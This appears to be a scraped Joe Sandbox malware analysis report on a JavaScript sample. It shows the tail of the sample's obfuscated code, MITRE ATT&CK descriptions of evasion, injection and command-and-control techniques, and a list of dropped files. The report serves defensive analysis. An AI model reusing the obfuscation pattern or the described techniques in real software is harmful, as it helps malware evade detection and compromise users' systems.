1443	xagzthjy = "N";
1444	xagzthjy = "g";
1445	xagzthjy = "l";
1446	xagzthjy = "q";
1447	xagzthjy = "q";
1448	xagzthjy = "S";
1449	xagzthjy = "P";
1450	xagzthjy = "f";
1451	xagzthjy = "Y";
1452	xagzthjy = "q";
1453	xagzthjy = "P";
1454	xagzthjy = "T";
1455	xagzthjy = "n";
1456	xagzthjy = "F";
1457	xagzthjy = "a";
1458	xagzthjy = "m";
1459	xagzthjy = "k";
1460	xagzthjy = "m";
1461	xagzthjy = "f";
1462	xagzthjy = "X";
1463	xagzthjy = "X";
1464	xagzthjy = "N";
1465	xagzthjy = "D";
1466	xagzthjy = "r";
1467	xagzthjy = "n";
1468	xagzthjy = "r";
1469	tsuveqfk ( );	tsuveqfk() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 2067419799306291220.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF577363.TMP (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\a7c074e1-9410-4348-8c53-46bd9cccdaab.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\ec2976d2-dbd5-4700-90da-65822105b5b8.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Windows Analysis Report
2067419799306291220.js